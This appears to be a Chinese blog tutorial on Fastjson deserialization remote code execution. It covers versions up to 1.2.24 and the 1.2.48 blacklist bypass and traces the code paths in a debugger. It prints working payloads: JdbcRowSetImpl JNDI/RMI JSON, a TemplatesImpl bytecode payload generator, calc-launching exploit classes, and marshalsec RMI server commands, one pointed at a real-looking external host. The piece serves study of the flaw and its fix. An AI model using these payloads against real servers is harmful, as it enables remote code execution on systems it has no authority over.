重要漏洞利用poc及版本

我是从github上的参考中直接copyexp,这个类就是要注入的类

import java.lang.Runtime;
import java.lang.Process; public class Exploit { public Exploit() {
try{
// 要执行的命令
String commands = "calc.exe";
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
} catch(Exception e){
e.printStackTrace();
} } public static void main(String[] argv) {
Exploit e = new Exploit();
} }
网上经常分析的17年的一个远程代码执行漏洞

适用范围 版本 <= 1.2.24

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi:/ip:port/Exploit","autoCommit":true}
FastJson最新爆出的绕过方法

适用范围 版本 <= 1.2.48

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:port/Exploit","autoCommit":true}}";

预备知识

使用spring boot来搭建本次的环境,这样对java的版本和fastjson版本的修改十分的轻松,选取的依赖如下

使用的是fastjson 1.2.24版本

写一个像javabean一样作用的类

这里直接用参考的一篇freebuf上的代码了,作用很简单,设置了ageusername的设置和读取,secret的读取

package com.fastjson.demo;

class Demo2User {
private int age;
public String username;
private String secret;
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getSecret() {
return secret;
}
@Override
public String toString() {
return this.age + "," + this.username + "," + this.secret;
}
}
fastjson的工作形式

fastjson的功能就是将json格式转换为类、字符串等供下一步代码的调用,或者将类、字符串等数据转换成json数据进行传输,有点类似序列化的操作

首先介绍下序列化操作和反序列化操作需要的函数

函数 作用
JSON.toJSONString(Object) 将对象序列化成json格式
JSON.toJSONString(Object,SerializerFeature.WriteClassName) 将对象序列化成json格式,并且记录了对象所属的类的信息
JSON.parse(Json) json格式返回为对象(但是反序列化类对象没有@Type时会报错)
JSON.parseObject(Json) 返回对象是com.alibaba.fastjson.JSONObject
JSON.parseObject(Json, Object.class) 返回对象会根据json中的@Type来决定
JSON.parseObject(Json, User.class, Feature.SupportNonPublicField); 会把Json数据对应的类中的私有成员也给还原

对应测试的例子,代码如下

public class Demo2test1 {
public static void main(String[] args){
Demo2User demo2User = new Demo2User();
demo2User.setAge(10);
demo2User.setUsername("sijidou");
String ser1 = JSON.toJSONString(demo2User);
System.out.println(ser1);
String ser2 = JSON.toJSONString(demo2User, SerializerFeature.WriteClassName);
System.out.println(ser2);
System.out.println("==========完美的分割线============");
Demo2User demo2User1 = (Demo2User) JSON.parse(ser2);
System.out.println(demo2User1);
Object demo2User2 = JSON.parseObject(ser2);
System.out.println(demo2User2.getClass().getName());
Object demo2User3 = JSON.parseObject(ser2, Object.class);
System.out.println(demo2User3);
Object demo2User4 = JSON.parseObject(ser2,Object.class, Feature.SupportNonPublicField);
System.out.println(demo2User4);
}
}

可以从上面简单的函数介绍中看出,对于序列化成json格式,用JSON.toJSONString(Object,SerializerFeature.WriteMapNullValue)更加方便

而从json反序列回来,一般用JSON.parseObject()来实现

漏洞利用

对于 fastjson版本 <= 1.2.24的情况,利用思路主要有2种

  • 通过触发点JSON.parseObject()这个函数,将json中的类设置成com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl并通过特意构造达到命令执行
  • 通过JNDI注入

利用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

TemplatesImpl类,而这个类有一个字段就是_bytecodes,有部分函数会根据这个_bytecodes生成java实例,这就达到fastjson通过字段传入一个类,再通过这个类被生成时执行构造函数。

首选准备好poc,也就是之后会装到_bytecodes里面的内容,本地测试是windows系统,所以直接弹计算器,用java运行一下,就会生成poc.class文件

package com.fastjson.demo;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class poc extends AbstractTranslet { public poc() throws IOException {
Runtime.getRuntime().exec("calc.exe");
} @Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
} @Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException { } public static void main(String[] args) throws Exception {
poc t = new poc();
}
}

拿到这个文件,将其内容进行base64编码,我拿vulhub上用php写的exploit.php改了改

<?php
$bytes = file_get_contents('poc.class');
$json = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["'.base64_encode($bytes).'"],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}';
echo $json;

同目录下运行

准备下接受的代码,我从vulhub上的fastjson项目进行修改的,使代码更加简洁,逻辑很简单从post的body中的数据进行fastjson的序列化

public class Demo3{
public void init()
{
get("/", (req, res) -> "Hello World");
post("/", (request, response) -> {
String data = request.body();
JSONObject obj = JSON.parseObject(data, Feature.SupportNonPublicField);
return "122";
});
} public static void main(String[] args)
{
Demo3 i = new Demo3();
i.init();
}
}

运行下能够成功触发计算器

漏洞分析

debug跟踪下堆栈看看发生了什么

最先肯定是传入点JSON.parseObject(data, Feature.SupportNonPublicField);接口,这个漏洞利用方法必须要存在Feature.SupportNonPublicField设置(即允许private对象传入)

接下来会到JSON类中,发现JSON.parseObject()其实是调用了JSON.parse()

下一步会进到这个函数里,是对可控长度变量的分析,这里也就是Feature.SupportNonPublicField的开启识别

调用parse(String text, int features),继续执行parser.parse()接口

之后进入DeafultJSONParser.java通过switch判断,进入到LBRACE

继续跟进会调用deserializer.deserialze(this, clazz, fieldName)

进入了JavaBeanDeserializer.java中,这段主要是进行反序列化操作了

之后会进入到DefaultFieldDeserializer.java中调用setValue来设置参数了

设置参数是会调用FieldDeserializer.java中的setValue,已经可以看到Method方法,标志着这里触发反射

前面的参数会不满足if(method != null)的判断,到outputProperties的时候,因为它是个类,存在method,于是进入if分支

最终到了触发点,invoke

单步跟踪2次,是对_bytecodes中的base64,对应的.class文件中的类进行还原,然后触发构造函数中的代码执行,触发计算器

这里单步跟踪2次时候没有任何反应,之后发现是没对com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类没进行下载,并且没有进行下断点.....

那么在这个点继续跟进,首先仔细看上面反射调用的方法com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()

TemplatesImpl类里面对getOutputProperties()下断点

继续跟踪newTransformer()方法,看名字就是新生成一个Transformer

在第486行调用了getTransletInstance()方法,之后进入getTransletInstance()方法中

因为我们精心构造的exp里面没有__class成员变量,所以会触发defineTransletClasses()方法,跟进

进入后是对 _bytecodes字段进行base64解码后还原这个class,之后就出来回到了getTransletInstance()

可以看到455行的translet被赋值成class.com.fastjson.demo.poc也就是我们构造的的poc类,在456行进行初始化的时候,触发代码执行

通过jndi注入

jndi是一个Java命令和目录接口,举个例子,通过jndi进行数据库操作,无需知道它数据库是mysql还是ssql,还是MongoDB等,它会自动识别。

当然rmi也可以通过jndi实现,rmi的作用相当于在服务器上创建了类的仓库的api,客户端只用带着参数去请求,服务器进行一系列处理后,把运算后的参数还回来。

这里漏洞利用要明确思路:

攻击者在本地启一个rmi的服务器,上面挂上恶意的payload

让被攻击的目标反序列化特定的类,这个类最终会调用lookup()函数,导致jndi接口指向我们的rmi服务器上的恶意payload

利用方法

在本地挂上恶意代码执行的类,本地复现到了实际中又因为要公网ip所以要重新部署,所以我这里就直接把恶意的Exprmi服务器都放在vps上了

准备Exp

import java.lang.Runtime;
import java.lang.Process; public class Exp { public Exp() {
try{
// 要执行的命令
String commands = "calc";
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
} catch(Exception e){
e.printStackTrace();
} } public static void main(String[] argv) {
Exp e = new Exp();
} }

编译一下

javac Exp.java

在本地启动rmi服务器,这里推荐github上的一个项目marshalsec

https://github.com/mbechler/marshalsec

需要用maven进行生成jar包,进入marshalsec目录后

git clone https://github.com/mbechler/marshalsec.git
cd marshalse
mvn clean package -Dmaven.test.skip=true

之后使用过的是这个包,可以移动到仍意目录都可以

接下来就是启动rmi服务器了,这里要做2个步骤

第一使用python的SimpleHTTPServer模块在刚刚编译好的Exp.class目录下开一个web服务

python -m SimpleHTTPServer 8000

访问下网页是能看到的

之后利用marshalsec,启动rmi服务,再开一个shell

 java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer  http://mi0.xyz:8000/#Exp

万事已经准备好了,接下来只要在被攻击的目标(这里是本机)发送python进JSON.parse()就会触发

import com.alibaba.fastjson.JSON;

public class poc {
public static void main(String[] args) throws Exception {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://134.175.147.161:1099/Exp\",\"autoCommit\":true}";
JSON.parse(payload);
}
}

成功弹出计算器

之前一直尝试不成功,改了下jre的版本为1.8_102能够触发

1.2.25之后修复方案

在1.2.25之后,在ParserConfig.java中添加了public Class<?> checkAutoType(String typeName, Class<?> expectClass)过滤的函数

注意其中的这一段,如果类的名字开头在deny名单里面,就直接抛出错误了

看看denyList的名单

 private String[] denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");

最新fastjson绕过黑名单REC

  • 此次漏洞危害范围是fastjson <= 1.2.48

vps上的准备方法和上面讲到的jndi注入是一样的,唯一的区别在于发送的payload不同,以下payload可以绕过黑名单校验

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:port/Exploit","autoCommit":true}}";

实现原理是利将JdbcRowSetImpl类加入到mappings的缓存,在JdbcRowSetImpl类进入黑名单过滤之前,fastjson会先看缓存里面有没有这个类,有的话,就直接返回了。也就是没有走进黑名单过滤,就结束了check

我们把上面的payload发送到fastjson 1.2.25版本中,走到了checkAutoType()的位置

进入函数,很明显java.lang.Class不在黑名单内

顺利通过

接下来会加载java.lang.Class

跟进之后,在这里把JdbcRowSetImpl类付给了objVal变量

在这里将刚刚objVal的值赋值给了strVal

接下来调用了loadClass

跟进loadClass,首先查看JdbcRowSetImpl类是不是在mappings

这里当然是不在的,因此把JdbcRowSetImpl类加入到该mappings

之后在回到对JdbcRowSetImpl类的检验地方了

跟进进入,到这里会根据类名从mapping中取出对象,很明显,刚刚是把JdbcRowSetImpl类是加入到mappings中的,因此是可以取出来

之后会根据取出的值是否为null进行判断,通过下图,已经看到在黑名单前,就返回了

之后可以看到类JdbcRowSetImpl已经过了该限制了

打一波,成功触发

参考链接

https://www.freebuf.com/vuls/178012.html

https://www.cnblogs.com/mrchang/p/6789060.html

https://www.cnblogs.com/hac425/p/9800288.html

https://xz.aliyun.com/t/5680

https://www.jianshu.com/p/2bc43d16a3a6

https://github.com/JoyChou93/java-sec-code/wiki/Fastjson

https://cloud.tencent.com/developer/article/1468779

fastjson反序列化漏洞原理及利用的更多相关文章

  1. fastjson反序列化漏洞实际案例利用

    fastjson反序列化rce实际案例利用全过程: 存在问题网站:http://***.com/ 在网站上寻找一些安全漏洞的时候,发现一条json数据包 数据包如下: POST /*** HTTP/1 ...

  2. Fastjson反序列化漏洞概述

    Fastjson反序列化漏洞概述 ​ 背景 在推动Fastjson组件升级的过程中遇到一些问题,为帮助业务同学理解漏洞危害,下文将从整体上对其漏洞原理及利用方式做归纳总结,主要是一些概述性和原理上的东 ...

  3. Fastjson反序列化漏洞复现

    Fastjson反序列化漏洞复现 0x00 前言 对Fastjson反序列化漏洞进行复现. 0x01 漏洞环境 靶机环境:vulhub-fastjson-1.2.24 ip:172.16.10.18 ...

  4. Java安全之Fastjson反序列化漏洞分析

    Java安全之Fastjson反序列化漏洞分析 首发:先知论坛 0x00 前言 在前面的RMI和JNDI注入学习里面为本次的Fastjson打了一个比较好的基础.利于后面的漏洞分析. 0x01 Fas ...

  5. Fastjson反序列化漏洞分析 1.2.22-1.2.24

    Fastjson反序列化漏洞分析 1.2.22-1.2.24 Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两 ...

  6. fastjson反序列化漏洞研究(上)

    前言 最近护网期间,又听说fastjson传出“0day”,但网上并没有预警,在github上fastjson库中也有人提问关于fastjson反序列化漏洞的详情.也有人说是可能出现了新的绕过方式.不 ...

  7. Fastjson反序列化漏洞基础

    Fastjson反序列化漏洞基础 FastJson是alibaba的一款开源JSON解析库,可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转换为等效的Java对象. 0x0 ...

  8. FastJson反序列化漏洞利用的三个细节 - TemplatesImpl的利用链

    0. 前言 记录在FastJson反序列化RCE漏洞分析和利用时的一些细节问题. 1. TemplatesImpl的利用链 关于 parse 和 parseObject FastJson中的 pars ...

  9. fastjson 反序列化漏洞利用总结

    比赛遇到了,一直没利用成功,这里做个记录. 环境搭建 首先用 vulhub 搭建 fastjson 的漏洞环境. 漏洞环境程序的逻辑为接收 body 的数据然后用 fastjson 解析. 漏洞利用 ...

随机推荐

  1. Raft概述

    Raft 1. 概述 Raft是一种一致性(共识)算法,相比Paxos,Raft更容易理解和实现,它将分布式一致性问题分解成多个子问题,Leader选举(Leader election).日志复制(L ...

  2. react-admin-plus 正式开源, 欢迎star

    简介 基于react.ant-ui.typescript的前端微服务框架.欢迎star. 在线地址 在线demo 项目介绍   沉淀了几个月的时间,这款框架终于正式的和大家见面了!   先说一下我做这 ...

  3. 题解-CF1239D Catowice City

    CF1239D Catowice City 有 \(n\) 个人和 \(n\) 只猫.有 \(m\) 对人猫友谊,即第 \(u_i\) 个人认识第 \(v_i\) 只猫,保证第 \(i\) 个人和第 ...

  4. Linux文件权限问题

    更改权限命令   chmod 常用参数 -R, --recursive change files and directories recursively (以递归的方式对目前目录下的所有档案与子目录进 ...

  5. c++ 解析yaml文件

    一直用c++操作ini做配置文件,想换成yaml,在全球最大的同性交友网站github上搜索,看有没有开源的库,功夫不负有心人,找到了yaml-cpp,用他解析了一个yaml的例子非常好使,分享一下如 ...

  6. maven下载和配置

    maven就是管理架包(jar)的一个工具类,是一个绝佳的构建工具 但是maven是需要下载和配置环境的,和jdk差不多 1.首先进入apache的官网 http://maven.apache.org ...

  7. ambari 修改kafka日志目录后,写入数据无法消费

    ## 起因:ambari 修改kafka日志目录后,写入数据无法消费 - 使用下面的客户端消费命令可以消费到数据 ./kafka-console-consumer.sh --zookeeper 192 ...

  8. JVM的艺术—JAVA内存模型

    *喜欢文章,动动手指点个赞 * 引言 亲爱读者你们好,关于jvm篇章的连载,前面三章讲了类加载器,本篇文章将进入jvm领域的另一个知识点,java内存模型.彻底的了解java内存模型,是有必要的.只要 ...

  9. Peomise

    什么是promise 简单回答: 一种异步的解决方案 回顾一下什么是异步 ​ 事件 / setTimeout 异步执行的时机 ​ 同步->异步微任务->GUI渲染->异步宏任务 #为 ...

  10. 前端Firebug常见错误:SyntaxError:missing variable nam

    出现上面那个问题应该是 某个地方,分号写错了 检查一下是否由于应该写分号的地方写成了其他符号.